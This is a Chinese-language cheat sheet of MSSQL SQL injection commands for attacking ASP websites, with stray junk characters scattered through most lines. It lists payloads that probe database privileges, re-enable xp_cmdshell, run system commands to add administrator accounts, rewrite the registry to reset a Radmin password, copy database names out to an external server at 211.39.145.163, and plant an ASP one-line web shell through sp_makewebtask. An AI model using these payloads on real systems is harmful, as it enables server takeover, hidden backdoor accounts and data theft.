阿D常用的一些注入命令8 s+ n3 V$ h0 w6 F2 S+ J2 t
//看看是什么权限的
/ W; W; U1 ^: Dand 1=(Select IS_MEMBER('db_owner'))
( l( V# _! c1 a+ W5 o% IAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% B" p+ j+ r- ?1 i+ R6 d6 g4 A8 X0 E5 |
. p0 i5 n8 P: R* d2 v% R" d1 N! p* \
//检测是否有读取某数据库的权限1 |3 M" ?2 l) D( q
and 1= (Select HAS_DBACCESS('master'))$ o8 O h7 X- h8 W6 y5 r6 e
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
4 G B! P% t+ V0 s% V" Q
. K8 p6 Z z$ [" N s8 X7 H
- e( @7 g; a2 R数字类型- C/ p5 |9 \2 u2 D, z6 l( {# C
and char(124)%2Buser%2Bchar(124)=06 y X9 z0 J$ M; \: i1 w- d
- ~% q5 v6 T$ N; h7 B2 D字符类型
$ \7 |/ A" I& V) O$ {' {' and char(124)%2Buser%2Bchar(124)=0 and ''='/ Q2 ^+ c, i7 a9 e+ K
3 I' W- P; |8 ~搜索类型
2 e4 q$ R6 p9 o6 }2 S( a4 v$ h' and char(124)%2Buser%2Bchar(124)=0 and '%'='. c0 T& h: ] l3 A
3 o: G7 R; C& C2 N+ y$ e8 L爆用户名
2 ]) m2 @8 w, ^0 ]( Oand user>0
# Y# j' @' S$ h4 }5 m) d; q' and user>0 and ''='
1 r% D$ t4 t* y; B/ |8 j8 |9 @
( e% L5 P6 r4 J检测是否为SA权限* @' S& w% F8 M" s# i4 ?
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ m% h, [5 \4 O9 u# j+ dAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --6 h5 U [1 J/ n8 k
8 _& v" f1 {- ?* t% m
检测是不是MSSQL数据库
}9 u M' g/ C: x! O+ t) W/ rand exists (select * from sysobjects);--
# Q$ y" Q3 H+ f& o N0 J# {
! w; M0 h9 Q* L' B8 W9 R检测是否支持多行& w" v$ q/ v( R
;declare @d int;--
" u$ \3 @9 s. M+ h5 Z: [ u3 L6 a/ w6 n$ k/ }% M
恢复 xp_cmdshell' y6 V9 @# @& w
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
! g6 W( L" L( T7 W$ u0 P3 O, Y1 f. M6 @0 ~
; a7 J% m ?* x. l4 }/ V; m0 U2 b
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') O; ]+ T- Z' z% X. l: P# |
- L; u3 E- |( z- c; R//-----------------------
" _7 u2 t' D& @4 M. y! X- v// 执行命令0 k. `6 P7 k; V% S5 n( w* B3 G- m5 c
//-----------------------
1 F/ [) w0 _4 i首先开启沙盘模式:
3 i; v W+ {) S1 ?7 b/ b# }9 U, vexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) }" A+ N9 w9 W$ M9 O
* s1 h( S# ^) H9 ]# f然后利用jet.oledb执行系统命令
( `6 K& h5 k" G6 x6 p0 cselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- w7 @9 t+ `/ @' f/ W& e- q2 n
! b/ d- c! m5 Q* ]/ i$ a9 o$ D
执行命令
5 {6 {! m7 M7 a- H;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--* {& @2 F! b) x
0 T3 ]" H0 v: F+ e
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ {: l2 }( d Y+ \7 O. @ a: z. A2 ]2 B2 q& c( F
判断xp_cmdshell扩展存储过程是否存在:
9 u: V8 j2 r. B! g, z4 chttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
9 n a0 Z: _. v3 j! _
$ s! i. P' w; l写注册表
% } y& X: |5 G$ v, \4 Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1* U' p) j( `. ^! n
9 B9 e! B9 F- S4 N. U7 d& l$ R. H8 V- l r
REG_SZ
! ?+ V* r3 m: T; j; ~# l. f3 n0 B, o0 U6 ~! {+ n3 ^
读注册表) F1 {" w g+ a( x& z$ |
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'. U+ K( ~% D: z5 T, u% F
$ ^+ \/ `4 r. n读取目录内容
5 o; L, U, f, L J! lexec master..xp_dirtree 'c:\winnt\system32\',1,1, \4 h, R* @+ g/ Y$ ]
# ^! I, e$ p" V3 w8 u& |
/ @5 e1 M! Z) Q- S/ \6 F" @" `数据库备份9 z! C, [1 r: x3 {$ I# l
backup database pubs to disk = 'c:\123.bak'9 g( K( K a! ^- Q
$ U+ \. r5 m) _2 x1 S( r; @
//爆出长度
& E: d/ C% \" h0 C" W% S# eAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
9 ?8 a" ^/ D: L& x, y
8 q/ Z1 G3 d" h
' A* A! H5 J& H2 L
) \: h+ g# E2 A. }更改sa口令方法:用sql综合利用工具连接后,执行命令:
* T u* s4 ?4 mexec sp_password NULL,'新密码','sa'
, T3 d$ ~' R" J( H% t3 i; l' s6 i8 \4 c
添加和删除一个SA权限的用户test:
. r0 C7 m3 k, }( D @5 A: W# J. ]exec master.dbo.sp_addlogin test,ptlove0 H% j& W% z; G$ V4 X7 w
exec master.dbo.sp_addsrvrolemember test,sysadmin" s) J+ A# m0 y1 J: Q- Z! `7 |2 _
0 r) }- X9 c$ d) y
删除扩展存储过过程xp_cmdshell的语句: + R1 g. u/ m% z. D0 W8 C$ o
exec sp_dropextendedproc 'xp_cmdshell'! e% q. x O$ m: O
% q8 }8 x" ~0 |6 \2 u/ i, Q3 r5 L添加扩展存储过过程
$ l! H! I0 B+ f" j5 MEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
+ N5 {7 _: {& c( n+ z4 `5 G5 a9 u* Z( tGRANT exec On xp_proxiedadata TO public 8 U$ e2 r4 b% c7 O
$ w8 G! v7 B% Y0 }: R ?
; O2 y0 |' ? M3 E停掉或激活某个服务。
9 e# \* b2 Y, r* l& k
A' z4 ~, I. f# Wexec master..xp_servicecontrol 'stop','schedule'* Q4 u' s1 g2 ~" h( O
exec master..xp_servicecontrol 'start','schedule'
' j2 c+ G4 E1 W" N& ?
7 R3 w" m" u% |. g) Edbo.xp_subdirs. I ^0 f5 h0 r6 `5 g7 h* K
6 D6 M0 e2 V) c1 {/ ?
只列某个目录下的子目录。) j1 J* Z: b- {! d5 }; U i# F
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'+ ?, c6 Q. P$ [; T* y+ h9 h1 q
, u8 L( ^ r* j% Z% |- B& r' j
dbo.xp_makecab. z. K) g; O+ F7 [
4 n0 p! a f( i& {将目标多个档案压缩到某个目标档案之内。8 m1 {" T' N! |% M7 K* C" y$ W
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) k; r+ j- }/ d5 c3 k$ i
# E6 L( m5 z4 q- Q0 A0 T
dbo.xp_makecab/ c) k' h% K) y. B/ v/ V7 u: A
'c:\test.cab','mszip',1,
8 F) H4 k9 ^5 d'C:\Inetpub\wwwroot\SQLInject\login.asp',
6 L0 D% R( z x; w'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'- m# |$ m* I# N2 g [) s8 L+ Q; F
3 C! ]! E& c r$ \ T+ G: k4 J' V- wxp_terminate_process
' v$ i. g5 q& F( o2 e
" J+ J/ K( ~1 i+ D) A4 I( f停掉某个执行中的程序,但赋予的参数是 Process ID。
( F& d: Y% A. N% m d6 _) h利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
2 J7 |* i3 ]$ t9 C7 r
: n9 p% m6 ]6 a( g, b0 @xp_terminate_process 24843 K" J& y$ e1 u) ~5 q$ u: q
$ L. E& G& @; h4 r+ \% S" O9 y
xp_unpackcab
5 O( l q" D, E' @5 K: z/ _; _( Q# J3 O4 Z2 p& I
解开压缩档。9 @) f1 `* Z0 O: S5 \# }$ D+ K
! ` w: }2 h# N- F( [; ^xp_unpackcab 'c:\test.cab','c:\temp',1
& l D% B1 q3 ^/ d, \# I, Y& U' L7 P" m$ C
& I) N8 ~1 N X7 i$ S
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234( o, y% p0 h, k$ G X
1 g$ X9 Z* M, m3 |; L- ^0 |create database lcx;6 v' F% z" Y; m8 h* _! B
Create TABLE ku(name nvarchar(256) null);/ C, h+ Q/ J* J6 b, p1 X- @: v
Create TABLE biao(id int NULL,name nvarchar(256) null);( w2 A! p% x) `* @8 `, J
% E/ n/ V. g' u2 h$ a! U5 P/ v//得到数据库名
3 }' j2 y# L3 T' R/ Pinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases, r0 Q% v; m+ t/ C
1 D. q0 ]8 K2 I$ e+ T+ p, a* R& C9 \ Q
//在Master中创建表,看看权限怎样
& @0 {$ g+ ^ b1 rCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--6 _$ H$ D B6 _; o9 v( M! b% l3 P d
+ E5 c1 J- o6 d4 v( ]( c3 B/ {/ W
用 sp_makewebtask直接在web目录里写入一句话马:
! H2 U3 a- ~3 W& B: Y! qhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
' b0 {1 R6 s- d, g1 }* }: d
3 e# V% h/ a5 Y* M//更新表内容
7 C6 x9 q8 K) I, d% xUpdate films SET kind = 'Dramatic' Where id = 123: N7 L) l0 F. z" ~5 B
! H6 M Y4 e1 j0 X
//删除内容( G, T) j% e5 X
delete from table_name where Stockid = 3 |